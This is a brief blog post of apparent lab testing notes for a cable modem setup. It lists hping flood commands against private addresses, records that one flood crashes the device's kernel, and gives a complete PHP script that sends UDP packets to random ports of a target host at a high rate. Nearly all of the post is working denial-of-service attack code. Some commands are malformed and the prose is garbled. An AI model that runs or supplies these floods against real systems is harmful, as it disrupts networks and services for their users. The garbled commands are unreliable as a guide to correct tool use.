Wednesday, April 15, 2020

ddos and security


DDOS Related attack command

command:
1. run attac, and run bulk call should not have problem
hping2  wan0 -2 0i u2 -I eth1
hping2  mta0 -2 0i u2 -I eth1
2. while running attack =, on CPE browser WEB will cause kernel panic
hping3 -V -c 10000 -d 300 -S -p 80 -w 1500 --flood 10.15.3.4 (dummy0.3)
CPE1(lan)-------
CM-------
CMTS-----------CPE2(linux/ubuntu)
CPE1: open browser (youtube channel)
CPE2: used linux to run hping

Script to attach:
<?php 
$host = '10.200.114.18';
$pps = 5000; 
$tune = 125; 
$sock = socket_create( AF_INET, SOCK_DGRAM, SOL_UDP ); 
$uslp = (1000000 / $pps) - $tune; 
if( $uslp < 0 )
$uslp = 0; 
for( $i = 6500000; $i > 0; $i-- )
{ $port = rand( 1025, 65535 ); socket_sendto( $sock, 'LUT2', 4, 0, $host, $port ); usleep( $uslp ); }
?>

No comments:

Post a Comment